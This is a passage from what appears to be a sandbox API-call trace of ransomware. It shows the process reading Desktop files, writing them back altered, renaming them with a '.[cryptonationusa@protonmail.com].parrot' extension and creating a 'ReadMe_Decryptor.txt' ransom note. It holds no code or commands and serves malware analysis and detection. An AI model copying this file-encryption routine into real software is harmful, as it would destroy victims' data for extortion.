(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.535] WriteFile (in: hFile=0x23c, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xe668, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xe668, lpOverlapped=0x0) returned 1 [0032.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.537] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe65b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.537] CloseHandle (hObject=0x23c) returned 1 [0032.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0032.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0032.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0032.540] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NOP7WMJp.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nop7wmjp.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NOP7WMJp.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nop7wmjp.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.543] GetFileType (hFile=0x23c) returned 0x1 [0032.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.554] lstrcmpW (lpString1="Ogu4gyQ0eFgqTNCxSOv.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogu4gyQ0eFgqTNCxSOv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogu4gyq0efgqtncxsov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.554] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xf9e8 [0032.554] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfb00, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.555] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.555] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.555] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.555] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf9e8, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xf9e8, lpOverlapped=0x0) returned 1 [0032.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.555] GetLastError () returned 0x0 [0032.555] SetLastError (dwErrCode=0x0) [0032.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.556] GetLastError () returned 0x0 [0032.556] SetLastError (dwErrCode=0x0) [0032.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.556] GetLastError () returned 0x0 [0032.556] SetLastError (dwErrCode=0x0) [0032.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.561] GetLastError () returned 0x0 [0032.561] SetLastError (dwErrCode=0x0) [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.562] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x654310 [0032.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.567] WriteFile (in: hFile=0x23c, lpBuffer=0x654320*, nNumberOfBytesToWrite=0xfb08, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x654320*, lpNumberOfBytesWritten=0x18fa94*=0xfb08, lpOverlapped=0x0) returned 1 [0032.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x654310 | out: hHeap=0x5b0000) returned 1 [0032.567] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfb00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.567] CloseHandle (hObject=0x23c) returned 1 [0032.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc038 [0032.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0032.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc038 | out: hHeap=0x5b0000) returned 1 [0032.569] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogu4gyQ0eFgqTNCxSOv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogu4gyq0efgqtncxsov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogu4gyQ0eFgqTNCxSOv.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogu4gyq0efgqtncxsov.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0032.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0032.785] GetFileType (hFile=0x258) returned 0x1 [0032.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.795] lstrcmpW (lpString1="OMMQxeXh.mp3", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OMMQxeXh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ommqxexh.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0032.795] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xba58 [0032.795] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbb70, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.795] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.795] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.795] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.796] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xba58, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xba58, lpOverlapped=0x0) returned 1 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.796] GetLastError () returned 0x0 [0032.796] SetLastError (dwErrCode=0x0) [0032.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.796] GetLastError () returned 0x0 [0032.796] SetLastError (dwErrCode=0x0) [0032.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.796] GetLastError () returned 0x0 [0032.796] SetLastError (dwErrCode=0x0) [0032.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.797] HeapFree (in: 